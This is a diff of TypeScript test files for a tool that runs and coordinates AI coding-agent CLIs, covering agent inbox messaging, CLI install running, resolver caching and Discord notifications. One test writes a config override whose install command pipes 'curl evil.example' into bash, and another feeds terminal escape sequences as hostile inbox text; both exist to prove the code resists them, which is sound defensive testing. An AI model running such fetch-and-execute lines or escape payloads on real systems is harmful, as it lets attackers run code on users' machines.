@@ -605,6 +683,196 @@ describe('session id prefixes', () => {
});
});
describe('agent inbox verbs', () => {
const MSG = {
id: 'm-1',
from: OTHER,
text: 'line one\nline two',
createdAt: 1_700_000_000_000 - 90_000,
seen: false,
};
it('ls merges the inbox summary into an INBOX column', async () => {
const deps = fakeDeps((o) =>
o.path === '/api/v1/agent-inbox/summary'
? ok({
sessions: {
[SELF]: { pending: 2, unseen: 1, oldestUnseenAt: 1, parked: false },
[OTHER]: { pending: 0, unseen: 0, oldestUnseenAt: null, parked: true },
},
})
: ok([
{ id: SELF, mode: 'claude', status: 'busy', name: 'me' },
{ id: OTHER, mode: 'codex', status: 'idle', name: 'worker' },
])
);
expect(await agentLs(deps)).toBe(EXIT.ok);
const text = deps.out.join('\n');
expect(text).toMatch(/ID\s+MODE\s+STATUS\s+INBOX\s+NAME/);
expect(text).toMatch(/058ee7b5\s+claude\s+busy\s+2 \(1 new\)\s+me/);
expect(text).toMatch(/94990c6d\s+codex\s+idle\s+parked\s+worker/);
});
it('ls --json carries each session’s inbox row (null when it has none)', async () => {
const deps = fakeDeps(
(o) =>
o.path === '/api/v1/agent-inbox/summary'
? ok({ sessions: { [OTHER]: { pending: 1, unseen: 1, oldestUnseenAt: 5, parked: false } } })
: ok([{ id: SELF }, { id: OTHER }]),
true
);
await agentLs(deps);
const parsed = JSON.parse(deps.out.join('')) as Array<{ id: string; inbox: unknown }>;
expect(parsed.map((s) => s.inbox)).toEqual([null, { pending: 1, unseen: 1, oldestUnseenAt: 5, parked: false }]);
});
it('ls still lists sessions when the server has no summary route', async () => {
const deps = fakeDeps((o) =>
o.path === '/api/v1/agent-inbox/summary' ? apiError(404, 'NOT_FOUND', 'Route not found') : ok([{ id: OTHER }])
);
expect(await agentLs(deps)).toBe(EXIT.ok);
expect(deps.out.join('\n')).not.toContain('INBOX');
});
it('inboxCell', () => {
expect(inboxCell(undefined)).toBe('');
expect(inboxCell({ pending: 3, unseen: 0, oldestUnseenAt: null, parked: false })).toBe('3');
expect(inboxCell({ pending: 3, unseen: 2, oldestUnseenAt: 1, parked: true })).toBe('3 (2 new), parked');
});
it('post sends the text as data to the resolved session and never to /input', async () => {
const deps = fakeDeps([ok({ message: MSG, pending: 1, unseen: 1 })]);
expect(await agentPost(deps, { id: OTHER, text: 'line one\nline two' })).toBe(EXIT.ok);
expect(deps.calls).toEqual([
expect.objectContaining({
method: 'POST',
path: `/api/v1/sessions/${OTHER}/inbox`,
body: { text: 'line one\nline two' },
}),
]);
expect(deps.out.join('')).toMatch(/posted to 94990c6d \(1 pending, 1 unseen\)/);
});
it('post passes a full inbox (409) through as an error', async () => {
const deps = fakeDeps([apiError(409, 'CONFLICT', 'Inbox of x is full (200 messages).')]);
expect(await agentPost(deps, { id: OTHER, text: 'x' })).toBe(EXIT.error);
expect(deps.err.join('')).toMatch(/CONFLICT: Inbox of x is full/);
});
it('post takes ONE argument and refuses an empty one before any request', async () => {
expect(postTextFromArgs(['a\nb'])).toEqual({ text: 'a\nb' });
expect(postTextFromArgs(['a', 'b'])).toEqual({ error: expect.stringMatching(/ONE argument, got 2/) });
const deps = fakeDeps([]);
expect(await agentPost(deps, { id: OTHER, text: '' })).toBe(EXIT.refused);
expect(deps.calls).toEqual([]);
});
it('inbox reads this session’s own inbox by default and prints full ids plus the ack hint', async () => {
const deps = fakeDeps([ok({ receiver: true, messages: [MSG], pending: 1, unseen: 0 })]);
expect(await agentInboxRead(deps, {})).toBe(EXIT.ok);
expect(deps.calls[0]).toMatchObject({ method: 'GET', path: `/api/v1/sessions/${SELF}/inbox` });
expect(deps.calls[0].query).toEqual({ wait: undefined });
const text = deps.out.join('\n');
expect(text).toMatch(/── m-1 from 94990c6d, 2m ago, new/);
expect(text).toContain('line one\nline two');
expect(deps.err.join('')).toMatch(/codeman agent ack <id>/);
});
it('inbox prints message text with escape sequences and control characters neutralized', async () => {
const hostile = {
...MSG,
text: 'title \x1b]0;pwned\x07ok\r\nred \x1b[31mtext\x1b[0m\rover\bwrite\ttab\x9b2J\nend',
};
const deps = fakeDeps([ok({ receiver: true, messages: [hostile], pending: 1, unseen: 0 })]);
expect(await agentInboxRead(deps, {})).toBe(EXIT.ok);
// out[0] is the `── <id> from …` header (styled by the palette), out[1] the text.
expect(deps.out).toHaveLength(2);
expect(deps.out[1]).not.toMatch(/[\x00-\x08\x0b-\x1f\x7f-\x9f]/);
expect(deps.out[1]).toBe('title ok\nred text\\x0dover\\x08write\ttab\\x9b2J\nend');
});
it('terminalSafeText keeps newline and tab and escapes every other control', () => {
expect(terminalSafeText('a\nb\tc')).toBe('a\nb\tc');
expect(terminalSafeText('a\r\nb')).toBe('a\nb');
expect(terminalSafeText('\x1b[2J\x1bc\x00\x7f')).toBe('\\x1bc\\x00\\x7f');
expect(terminalSafeText('ünïcödé ✓')).toBe('ünïcödé ✓');
});
it('inbox --json hands the text out as stored', async () => {
const raw = { ...MSG, text: 'red \x1b[31mtext' };
const deps = fakeDeps([ok({ receiver: true, messages: [raw], pending: 1, unseen: 0 })], true);
await agentInboxRead(deps, {});
expect((JSON.parse(deps.out.join('')) as { messages: Array<{ text: string }> }).messages[0].text).toBe(
'red \x1b[31mtext'
);
});
it('inbox <id> is a peek and says so', async () => {
const deps = fakeDeps([ok([{ id: OTHER }]), ok({ receiver: false, messages: [MSG], pending: 1, unseen: 1 })]);
expect(await agentInboxRead(deps, { id: OTHER.slice(0, 8) })).toBe(EXIT.ok);
expect(deps.calls[1].path).toBe(`/api/v1/sessions/${OTHER}/inbox`);
expect(deps.err.join('')).toMatch(/peek: nothing was marked seen/);
});
it('inbox --wait passes the budget and maps timeout to exit 2', async () => {
const timedOut = fakeDeps([ok({ receiver: true, messages: [], pending: 0, unseen: 0, wait: { timedOut: true } })]);
expect(await agentInboxRead(timedOut, { waitMs: 30_000 })).toBe(EXIT.timeout);
expect(timedOut.calls[0]).toMatchObject({ query: { wait: 30_000 }, timeoutMs: 40_000 });
});
describe('a wait the server ended', () => {
const ended = ok({ receiver: true, messages: [], pending: 0, unseen: 0, wait: { ended: true } });
it('is exit 3 only when the session list confirms the session is gone', async () => {
const deps = fakeDeps([ended, ok([{ id: OTHER }])]);
expect(await agentInboxRead(deps, { waitMs: 30_000 })).toBe(EXIT.dead);
expect(deps.calls[1]).toMatchObject({ method: 'GET', path: '/api/v1/sessions' });
expect(deps.err.join('')).toMatch(/went away/);
});
it('is exit 2 (wait again) while the session is still listed: a restart or detach', async () => {
const deps = fakeDeps([ended, ok([{ id: SELF }])]);
expect(await agentInboxRead(deps, { waitMs: 30_000 })).toBe(EXIT.timeout);
expect(deps.err.join('')).toMatch(/ended the wait early/);
});
it('is exit 2 when the list cannot be had (the server is still coming back)', async () => {
const deps = fakeDeps([ended, apiError(503, 'INTERNAL_ERROR', 'restarting')]);
expect(await agentInboxRead(deps, { waitMs: 30_000 })).toBe(EXIT.timeout);
});
});
it('ack posts the ids to this session’s own inbox', async () => {
const deps = fakeDeps([ok({ removed: 2, pending: 0 })]);
expect(await agentAck(deps, { ids: ['m-1', ' m-2 '] })).toBe(EXIT.ok);
expect(deps.calls[0]).toMatchObject({
method: 'POST',
path: `/api/v1/sessions/${SELF}/inbox/ack`,
body: { ids: ['m-1', 'm-2'] },
});
expect(deps.out.join('')).toMatch(/acked 2 \(0 still pending\)/);
});
it('ack refuses without ids and passes a 403 through', async () => {
const none = fakeDeps([]);
expect(await agentAck(none, { ids: [' '] })).toBe(EXIT.refused);
expect(none.calls).toEqual([]);
const forbidden = fakeDeps([apiError(403, 'FORBIDDEN', 'Only x itself can acknowledge its inbox')]);
expect(await agentAck(forbidden, { ids: ['m-1'] })).toBe(EXIT.error);
});
it('none of the inbox verbs writes to a pane', async () => {
const deps = fakeDeps((o) =>
o.path === '/api/v1/sessions' ? ok([{ id: OTHER }]) : ok({ messages: [], pending: 0, unseen: 0 })
);
await agentPost(deps, { id: OTHER, text: 'x' });
await agentInboxRead(deps, {});
await agentInboxRead(deps, { id: OTHER, waitMs: 1000 });
await agentAck(deps, { ids: ['m'] });
for (const call of deps.calls) expect(call.path).not.toMatch(/\/input$/);
});
});
describe('help texts carry the traps the skill documents', () => {
const agent = registerAgentCommands(new Command());
const sub = (name: string) => agent.commands.find((c) => c.name() === name)!;
@@ -619,6 +887,26 @@ describe('help texts carry the traps the skill documents', () => {
expect(sub('send').description()).toContain('send <id> -- "- fix the bug"');
});
it('post takes text that starts with "-" (markdown from a file) without --', async () => {
const program = new Command();
program.exitOverride();
const post = registerAgentCommands(program).commands.find((c) => c.name() === 'post')!;
const got: Array<{ words: string[]; json: boolean }> = [];
post.action((_id: string, words: string[], o: { json?: boolean }) => {
got.push({ words, json: Boolean(o.json) });
});
for (const text of ['- [ ] item\nnext', '---\ntitle: a', '-v is great']) {
await program.parseAsync(['node', 'codeman', 'agent', 'post', 'abcdefgh', text]);
}
await program.parseAsync(['node', 'codeman', 'agent', 'post', 'abcdefgh', 'hi', '--json']);
expect(got).toEqual([
{ words: ['- [ ] item\nnext'], json: false },
{ words: ['---\ntitle: a'], json: false },
{ words: ['-v is great'], json: false },
{ words: ['hi'], json: true },
]);
});
it('rm does not claim a lineage check it does not make', () => {
expect(sub('rm').description()).toMatch(/^Delete any session except this one/);
});
+3 -1
View File
@@ -36,6 +36,8 @@ describe('per-mode capability predicates', () => {
['grok', true, false, false],
['deepseek', true, false, true],
['omp', true, false, false],
['copilot', true, false, false],
['jcode', true, false, false],
] as Array<[SessionMode, boolean, boolean, boolean]>)(
'%s: external=%s altScreenStrip=%s hooks=%s',
(mode, external, altScreen, hooks) => {
@@ -48,7 +50,7 @@ describe('per-mode capability predicates', () => {
it('covers every enabled mode (sanity)', () => {
// If a CLI is added without a row above, this fails rather than the table silently
// describing a subset of reality.
expect(MODES.length).toBe(10);
expect(MODES.length).toBe(12);
});
it('keeps the three predicates genuinely distinct', () => {
+26
View File
@@ -208,3 +208,29 @@ describe('help text', () => {
}
});
});
describe('unauthenticated tunnel launch option', () => {
it.each(['web', 'service install'])('registers --allow-unauthenticated-tunnel on %s', (path) => {
const command = path === 'web' ? find(program, 'web')! : find(find(program, 'service')!, 'install')!;
const options = command.options.filter((option) => option.long === '--allow-unauthenticated-tunnel');
expect(
options.map((option) => ({
flags: option.flags,
attribute: option.attributeName(),
required: option.required,
optional: option.optional,
}))
).toEqual([
{
flags: '--allow-unauthenticated-tunnel',
attribute: 'allowUnauthenticatedTunnel',
required: false,
optional: false,
},
]);
});
it('documents --allow-unauthenticated-tunnel in web help', () => {
expect(find(program, 'web')!.helpInformation()).toContain('--allow-unauthenticated-tunnel');
});
});
+103 -1
View File
@@ -1,9 +1,10 @@
import { chmodSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs';
import { chmodSync, mkdirSync, mkdtempSync, rmSync, utimesSync, writeFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import { afterEach, describe, expect, it, vi } from 'vitest';
import { EXEC_TIMEOUT_MS } from '../src/config/exec-timeout.js';
import {
CLI_INSTALLED_MARKER,
cliResolveRetryDelayMs,
createCliExecutableResolver,
createProductionCliResolverHost,
@@ -130,6 +131,107 @@ describe('createCliExecutableResolver', () => {
expect(findInLoginShell).toHaveBeenCalledTimes(2);
});
describe('the installer says a CLI was installed', () => {
// install.sh touches a marker when it installs a CLI, and the stamp is that file's
// mtime. A running server must see the new CLI at the next request, because Run reads
// this same answer: "Run fails, add the agent, Run again" must not fail twice.
function waiting() {
const clock = { now: 0, stamp: 1000 };
const findInLoginShell = vi.fn<() => string | null>().mockReturnValue(null);
const onPath = vi.fn<() => string | null>().mockReturnValue(null);
const installStamp = vi.fn(() => clock.stamp);
const h = host({
findInLoginShell,
findOnProcessPath: onPath,
exists: vi.fn((path) => path === '/new/bin/codex'),
installStamp,
});
const resolver = createCliExecutableResolver({ binary: 'codex', searchDirs: [], now: () => clock.now }, h);
expect(resolver.resolve()).toBeNull();
return { clock, findInLoginShell, onPath, installStamp, resolver };
}
it('ends the backoff at once when the stamp changes', () => {
const { clock, findInLoginShell, resolver } = waiting();
clock.now = 1;
findInLoginShell.mockReturnValue('/new/bin/codex');
clock.stamp = 2000;
expect(resolver.resolve()?.binaryPath).toBe('/new/bin/codex');
});
it('keeps the backoff, with nothing spawned, while the stamp stands still', () => {
const { clock, findInLoginShell, onPath, resolver } = waiting();
clock.now = cliResolveRetryDelayMs(1) - 1;
for (let i = 0; i < 50; i++) expect(resolver.resolve()).toBeNull();
expect(findInLoginShell).toHaveBeenCalledTimes(1);
expect(onPath).toHaveBeenCalledTimes(1);
});
it('a marker older than the server is not news: it does not cost a second chain', () => {
// A stamp present from the first look on must not read as a change at the second.
const { clock, findInLoginShell, resolver } = waiting();
clock.now = 1;
expect(resolver.resolve()).toBeNull();
expect(findInLoginShell).toHaveBeenCalledTimes(1);
});
it('one change buys one look: a CLI that is still missing goes back to waiting', () => {
const { clock, findInLoginShell, resolver } = waiting();
clock.now = 1;
clock.stamp = 2000;
expect(resolver.resolve()).toBeNull();
expect(resolver.resolve()).toBeNull();
expect(resolver.resolve()).toBeNull();
expect(findInLoginShell).toHaveBeenCalledTimes(2);
});
it('never looks at the marker once a CLI is resolved', () => {
const { clock, findInLoginShell, installStamp, resolver } = waiting();
findInLoginShell.mockReturnValue('/new/bin/codex');
clock.stamp = 2000;
expect(resolver.resolve()?.binaryPath).toBe('/new/bin/codex');
installStamp.mockClear();
for (let i = 0; i < 10; i++) resolver.resolve();
expect(installStamp).not.toHaveBeenCalled();
});
it('a stamp going backwards is a change too, or a restored data folder would hide one', () => {
const { clock, findInLoginShell, resolver } = waiting();
clock.now = 1;
clock.stamp = 500;
resolver.resolve();
expect(findInLoginShell).toHaveBeenCalledTimes(2);
});
it('reads the real marker file, and treats a missing one as no news', () => {
const dir = mkdtempSync(join(tmpdir(), 'codeman-cli-marker-'));
const marker = join(dir, CLI_INSTALLED_MARKER);
try {
const h = createProductionCliResolverHost({ allowRealIoUnderVitest: true, installMarkerPath: marker });
expect(h.installStamp?.()).toBe(0);
writeFileSync(marker, '');
utimesSync(marker, 1000, 1000);
const first = h.installStamp?.();
expect(first).toBeGreaterThan(0);
utimesSync(marker, 2000, 2000);
expect(h.installStamp?.()).not.toBe(first);
} finally {
rmSync(dir, { recursive: true, force: true });
}
});
it('reads no marker under vitest, even one that is there', () => {
const dir = mkdtempSync(join(tmpdir(), 'codeman-cli-marker-'));
const marker = join(dir, CLI_INSTALLED_MARKER);
try {
writeFileSync(marker, '');
expect(createProductionCliResolverHost({ installMarkerPath: marker }).installStamp?.()).toBe(0);
} finally {
rmSync(dir, { recursive: true, force: true });
}
});
});
it('invalidation drops a negative-cache backoff immediately (a CLI installed from Settings)', () => {
let now = 0;
const findInLoginShell = vi.fn<() => string | null>().mockReturnValueOnce(null).mockReturnValue('/new/bin/grokx');
+298
View File
@@ -0,0 +1,298 @@
/**
* @fileoverview The shared runner of a stock CLI's install command (src/cli-install-runner.ts):
* what is new in it since it left the registry route, and what both of its callers rely on.
*
* The route's own behaviour (answers, audit entry, environment, timeout) stays pinned by
* test/routes/cli-registry-routes.test.ts, which runs unchanged against the moved code. Here:
* - `stockInstallCommand()` reads the COMPILED stock entry, so a `clis.json` override cannot
* change what the local model install job runs;
* - the one install slot per CLI is shared: while the job holds it, the route answers 409;
* - an abort signal kills the installer's process group, and one that is already aborted
* starts nothing;
* - `forgetResolvedCli()` drops both caches.
*
* Nothing is really spawned: `spawn` is a fake child.
*
* Port: N/A (app.inject(), no live server).
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { EventEmitter } from 'node:events';
import { mkdirSync, rmSync, writeFileSync } from 'node:fs';
import { dirname } from 'node:path';
import { createRouteTestHarness } from './routes/_route-test-utils.js';
import {
CLI_INSTALL_TIMEOUT_MS,
forgetResolvedCli,
runInstallCommand,
stockInstallCommand,
tryBeginCliInstall,
} from '../src/cli-install-runner.js';
import { registerCliRegistryRoutes } from '../src/web/routes/cli-registry-routes.js';
import { SETTINGS_PATH } from '../src/web/route-helpers.js';
import {
getCli,
registryFilePath,
reloadCliRegistry,
resolveInstallCommandForPlatform,
} from '../src/config/cli-registry/registry.js';
import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
const { spawnMock, invalidateBinariesSpy, invalidateIdSpy } = vi.hoisted(() => ({
spawnMock: vi.fn(),
invalidateBinariesSpy: vi.fn(),
invalidateIdSpy: vi.fn(),
}));
vi.mock('node:child_process', async (importOriginal) => {
const actual = await importOriginal<typeof import('node:child_process')>();
return { ...actual, spawn: spawnMock };
});
vi.mock('../src/utils/cli-executable-resolver.js', async (importOriginal) => {
const actual = await importOriginal<typeof import('../src/utils/cli-executable-resolver.js')>();
return {
...actual,
invalidateCliExecutableResolvers: (binaries: readonly string[]) => {
invalidateBinariesSpy([...binaries]);
actual.invalidateCliExecutableResolvers(binaries);
},
};
});
vi.mock('../src/utils/cli-resolver.js', async (importOriginal) => {
const actual = await importOriginal<typeof import('../src/utils/cli-resolver.js')>();
return {
...actual,
invalidateCliResolverCache: (id?: string) => {
invalidateIdSpy(id);
actual.invalidateCliResolverCache(id);
},
};
});
interface FakeChild extends EventEmitter {
pid: number;
stdout: EventEmitter;
stderr: EventEmitter;
}
/** A spawned installer that stays alive until the test ends it. */
function hangingChild(pid = 4_242_424): FakeChild {
const child = new EventEmitter() as FakeChild;
child.pid = pid;
child.stdout = new EventEmitter();
child.stderr = new EventEmitter();
return child;
}
beforeEach(() => {
spawnMock.mockReset();
invalidateBinariesSpy.mockClear();
invalidateIdSpy.mockClear();
});
afterEach(() => {
vi.useRealTimers();
vi.restoreAllMocks();
});
describe('stockInstallCommand', () => {
afterEach(() => {
rmSync(registryFilePath(), { force: true });
reloadCliRegistry();
});
it('is the compiled stock command of every stock CLI that has one for this platform', () => {
for (const entry of STOCK_CLIS) {
const expected = resolveInstallCommandForPlatform(entry);
expect(stockInstallCommand(entry.id as string)).toBe(expected && expected.trim() !== '' ? expected : undefined);
}
expect(stockInstallCommand('opencode')).toBe('curl -fsSL https://opencode.ai/install | bash');
});
it('is undefined for an id that is not a stock CLI', () => {
expect(stockInstallCommand('not-a-cli')).toBeUndefined();
expect(stockInstallCommand('')).toBeUndefined();
expect(stockInstallCommand('__proto__')).toBeUndefined();
});
it('ignores a clis.json override: the registry shows the override, the stock command stays', () => {
mkdirSync(dirname(registryFilePath()), { recursive: true });
writeFileSync(
registryFilePath(),
JSON.stringify({
schemaVersion: 1,
clis: {
opencode: {
discovery: {
install: { command: { linux: 'curl evil.example | bash', darwin: 'curl evil.example | bash' } },
},
},
},
}),
{ mode: 0o600 }
);
reloadCliRegistry();
// The override is in force for the registry (what the Settings list shows and the route runs)...
expect(resolveInstallCommandForPlatform(getCli('opencode')!)).toBe('curl evil.example | bash');
// ...and is not what the local model install job would run.
expect(stockInstallCommand('opencode')).toBe('curl -fsSL https://opencode.ai/install | bash');
});
});
describe('tryBeginCliInstall', () => {
it('gives one slot per CLI id, and the slot comes back when it is released', () => {
const release = tryBeginCliInstall('slot-a');
expect(release).toBeTypeOf('function');
expect(tryBeginCliInstall('slot-a')).toBeNull();
// Another CLI has its own slot.
const other = tryBeginCliInstall('slot-b');
expect(other).toBeTypeOf('function');
release!();
const again = tryBeginCliInstall('slot-a');
expect(again).toBeTypeOf('function');
again!();
other!();
});
it('a release called twice frees the slot once: a later holder is not thrown out', () => {
const first = tryBeginCliInstall('slot-c')!;
first();
const second = tryBeginCliInstall('slot-c')!;
first();
expect(tryBeginCliInstall('slot-c')).toBeNull();
second();
});
it('is the slot the registry route uses: while it is held, POST /api/clis/:id/install answers 409 and spawns nothing', async () => {
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
writeFileSync(SETTINGS_PATH, JSON.stringify({ cliManagementEnabled: true }));
const { app } = await createRouteTestHarness(registerCliRegistryRoutes);
const release = tryBeginCliInstall('grok')!;
try {
const res = await app.inject({ method: 'POST', url: '/api/clis/grok/install' });
expect(res.json()).toMatchObject({ success: false, errorCode: 'CONFLICT' });
expect(spawnMock).not.toHaveBeenCalled();
} finally {
release();
}
// Released: the route installs again.
spawnMock.mockImplementation(() => {
const child = hangingChild();
setImmediate(() => child.emit('close', 0));
return child;
});
const res = await app.inject({ method: 'POST', url: '/api/clis/grok/install' });
expect(res.json()).toMatchObject({ success: true, data: { id: 'grok', code: 0 } });
// And the route gave the slot back when its install ended.
const after = tryBeginCliInstall('grok');
expect(after).toBeTypeOf('function');
after!();
});
});
describe('runInstallCommand', () => {
it('runs the command in a shell of its own process group and reports how it ended', async () => {
spawnMock.mockImplementation(() => {
const child = hangingChild();
setImmediate(() => {
child.stdout.emit('data', Buffer.from('installed\n'));
child.emit('close', 0);
});
return child;
});
const result = await runInstallCommand('echo hello');
expect(result).toEqual({ code: 0, output: 'installed\n', timedOut: false, aborted: false });
expect(spawnMock).toHaveBeenCalledTimes(1);
expect(spawnMock.mock.calls[0][0]).toBe('echo hello');
expect(spawnMock.mock.calls[0][1]).toMatchObject({ shell: true, detached: true });
});
it('a spawn that throws is a result, not an exception', async () => {
spawnMock.mockImplementation(() => {
throw new Error('ENOENT sh');
});
expect(await runInstallCommand('echo hello')).toEqual({
code: null,
output: 'spawn failed: ENOENT sh',
timedOut: false,
aborted: false,
});
});
it('a signal that is already aborted starts nothing', async () => {
const controller = new AbortController();
controller.abort();
expect(await runInstallCommand('echo hello', { signal: controller.signal })).toEqual({
code: null,
output: '',
timedOut: false,
aborted: true,
});
expect(spawnMock).not.toHaveBeenCalled();
});
it('an abort kills the whole process group: SIGTERM at once, SIGKILL three seconds later', async () => {
vi.useFakeTimers();
const kill = vi.spyOn(process, 'kill').mockImplementation(() => true);
const child = hangingChild(777_777);
spawnMock.mockImplementation(() => child);
const controller = new AbortController();
const pending = runInstallCommand('echo hello', { signal: controller.signal });
await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1));
controller.abort();
// The negative pid is the group: the installer's own children go with it.
expect(kill).toHaveBeenCalledWith(-777_777, 'SIGTERM');
expect(kill).not.toHaveBeenCalledWith(-777_777, 'SIGKILL');
await vi.advanceTimersByTimeAsync(3_000);
expect(kill).toHaveBeenCalledWith(-777_777, 'SIGKILL');
child.emit('close', null);
expect(await pending).toEqual({ code: null, output: '', timedOut: false, aborted: true });
});
it('an aborted installer that never closes is given up on after eight seconds', async () => {
vi.useFakeTimers();
vi.spyOn(process, 'kill').mockImplementation(() => true);
spawnMock.mockImplementation(() => hangingChild());
const controller = new AbortController();
const pending = runInstallCommand('echo hello', { signal: controller.signal });
await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1));
controller.abort();
await vi.advanceTimersByTimeAsync(8_000);
expect(await pending).toMatchObject({ code: null, aborted: true, timedOut: false });
});
it('the timeout still kills the group and says so, as it did in the route', async () => {
vi.useFakeTimers();
const kill = vi.spyOn(process, 'kill').mockImplementation(() => true);
const child = hangingChild(888_888);
spawnMock.mockImplementation(() => child);
const pending = runInstallCommand('echo hello');
await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1));
await vi.advanceTimersByTimeAsync(CLI_INSTALL_TIMEOUT_MS);
expect(kill).toHaveBeenCalledWith(-888_888, 'SIGTERM');
child.emit('close', null);
expect(await pending).toEqual({ code: null, output: '', timedOut: true, aborted: false });
});
it('an abort after the installer ended does nothing', async () => {
const kill = vi.spyOn(process, 'kill').mockImplementation(() => true);
spawnMock.mockImplementation(() => {
const child = hangingChild();
setImmediate(() => child.emit('close', 0));
return child;
});
const controller = new AbortController();
const result = await runInstallCommand('echo hello', { signal: controller.signal });
controller.abort();
expect(result.aborted).toBe(false);
expect(kill).not.toHaveBeenCalled();
});
});
describe('forgetResolvedCli', () => {
it('drops the per-binary caches and the per-id resolver', () => {
forgetResolvedCli('opencode', ['opencode', 'opencode-bin']);
expect(invalidateBinariesSpy).toHaveBeenCalledWith(['opencode', 'opencode-bin']);
expect(invalidateIdSpy).toHaveBeenCalledWith('opencode');
});
});
+141
View File
@@ -0,0 +1,141 @@
// @vitest-environment node
/**
* @fileoverview `codeman notify`: what it sends, what it prints and the exit code, driven with a
* recording fake transport plus the real `postJson` against a local server. Port: ephemeral 127.0.0.1.
*/
import { createServer, type Server } from 'node:http';
import type { AddressInfo } from 'node:net';
import { afterEach, describe, expect, it, vi } from 'vitest';
import { postJson, runNotify, type JsonPost } from '../src/cli-notify.js';
const ENV = { CODEMAN_SESSION_ID: 'abc12345-full-id', CODEMAN_API_URL: 'http://127.0.0.1:3000' };
function fake(status: number, error?: string, delivery?: { ok: boolean; error?: string }) {
const post = vi.fn<JsonPost>(async () => ({ status, error, delivery }));
return post;
}
describe('runNotify', () => {
it('refuses outside a Codeman session, before any request', async () => {
const post = fake(200);
const r = await runNotify({ message: 'hi' }, {}, '/work', post);
expect(r.code).toBe(1);
expect(r.err).toMatch(/inside a Codeman session/);
expect(post).not.toHaveBeenCalled();
});
it('posts the message to this session with the session id URL-encoded', async () => {
const post = fake(200);
const r = await runNotify({ message: 'press the reset button' }, ENV, '/work', post);
expect(r).toEqual({ code: 0, out: 'Posted to Discord' });
expect(post).toHaveBeenCalledWith('http://127.0.0.1:3000', '/api/sessions/abc12345-full-id/discord-notify', {
message: 'press the reset button',
});
});
it('adds urgent, and turns a relative --file into an absolute path under the working folder', async () => {
const post = fake(200);
await runNotify({ message: 'log', urgent: true, file: 'out/run.log' }, ENV, '/work', post);
expect(post.mock.calls[0][2]).toEqual({ message: 'log', urgent: true, file: '/work/out/run.log' });
await runNotify({ message: 'log', file: '/abs/run.log' }, ENV, '/work', post);
expect(post.mock.calls[1][2]).toEqual({ message: 'log', file: '/abs/run.log' });
});
it('lets --session and --url override the environment', async () => {
const post = fake(200);
await runNotify({ message: 'x', session: 'other', url: 'http://h:1' }, ENV, '/work', post);
expect(post.mock.calls[0].slice(0, 2)).toEqual(['http://h:1', '/api/sessions/other/discord-notify']);
});
it('exits 1 when Codeman answered 200 but Discord refused the post, so a blocked agent knows nobody was told', async () => {
const r = await runNotify(
{ message: 'x' },
ENV,
'/w',
fake(200, undefined, { ok: false, error: 'The bot token was refused' })
);
expect(r).toEqual({ code: 1, err: 'Could not post to Discord: The bot token was refused' });
expect((await runNotify({ message: 'x' }, ENV, '/w', fake(200, undefined, { ok: true }))).code).toBe(0);
});
it('postJson gives up on a server that never answers, with status 0', async () => {
const server = createServer(() => undefined);
await new Promise<void>((r) => server.listen(0, '127.0.0.1', r));
try {
const { port } = server.address() as AddressInfo;
const r = await postJson(`http://127.0.0.1:${port}`, '/x', {}, 100);
expect(r.status).toBe(0);
} finally {
server.closeAllConnections();
server.close();
}
});
it('postJson settles when the server sends headers and then stalls the body', async () => {
const server = createServer((_req, res) => {
res.writeHead(200, { 'Content-Type': 'application/json', 'Content-Length': '500' });
res.write('{"success":');
});
await new Promise<void>((r) => server.listen(0, '127.0.0.1', r));
try {
const { port } = server.address() as AddressInfo;
expect((await postJson(`http://127.0.0.1:${port}`, '/x', {}, 100)).status).toBe(0);
} finally {
server.closeAllConnections();
server.close();
}
});
it('treats a disabled bridge (409) as success that says so', async () => {
const r = await runNotify({ message: 'x' }, ENV, '/work', fake(409));
expect(r.code).toBe(0);
expect(r.out).toMatch(/bridge is off/);
});
it('fails with the server error, or the status, or a plain message when nothing answered', async () => {
expect(
(await runNotify({ message: 'x' }, ENV, '/w', fake(400, 'The file must be inside the session folder'))).err
).toBe('Could not post to Discord: The file must be inside the session folder');
expect((await runNotify({ message: 'x' }, ENV, '/w', fake(429))).err).toMatch(/Too many messages/);
expect((await runNotify({ message: 'x' }, ENV, '/w', fake(500))).err).toBe('Could not post to Discord (HTTP 500)');
expect((await runNotify({ message: 'x' }, ENV, '/w', fake(0))).err).toBe('Could not post to Discord');
});
});
describe('postJson (real transport)', () => {
let server: Server;
afterEach(() => new Promise<void>((resolve) => server.close(() => resolve())));
async function serve(status: number, reply: unknown) {
const seen: { method?: string; url?: string; body: string; type?: string } = { body: '' };
server = createServer((req, res) => {
req.on('data', (c) => (seen.body += c));
req.on('end', () => {
seen.method = req.method;
seen.url = req.url;
seen.type = req.headers['content-type'];
res.writeHead(status, { 'Content-Type': 'application/json' });
res.end(JSON.stringify(reply));
});
});
await new Promise<void>((resolve) => server.listen(0, '127.0.0.1', resolve));
return { seen, url: `http://127.0.0.1:${(server.address() as AddressInfo).port}` };
}
it('sends a JSON POST and reports the status and the server error text', async () => {
const { seen, url } = await serve(400, { success: false, error: 'nope' });
expect(await postJson(url, '/api/sessions/s1/discord-notify', { message: 'hi' })).toEqual({
status: 400,
error: 'nope',
});
expect(seen).toMatchObject({ method: 'POST', url: '/api/sessions/s1/discord-notify', type: 'application/json' });
expect(JSON.parse(seen.body)).toEqual({ message: 'hi' });
});
it('answers status 0 when nothing is listening', async () => {
const { url } = await serve(200, {});
await new Promise<void>((resolve) => server.close(() => resolve()));
expect((await postJson(url, '/x', {})).status).toBe(0);
server = createServer().listen(0); // so afterEach has something to close
});
});
+60
View File
@@ -0,0 +1,60 @@
/**
* @fileoverview A launch gate is measured against its OWN CLI's version.
*
* `capabilities.gates` used to be resolved with `getClaudeCliVersion()` for every entry,
* because claude was the only CLI with a gate. Codex's `noDaemonFlag` (0.162.0) would then
* have passed on any claude 2.x and handed an older codex `--no-daemon`, which makes codex
* exit on launch. The bridge now asks `resolveSessionCliVersion(entry.id)`; this pins that
* with both resolvers mocked to DIFFERENT versions.
*/
import { describe, it, expect, vi, beforeEach } from 'vitest';
const versions: Record<string, string | null> = {};
vi.mock('../src/utils/cli-resolver.js', async (importOriginal) => {
const actual = await importOriginal<typeof import('../src/utils/cli-resolver.js')>();
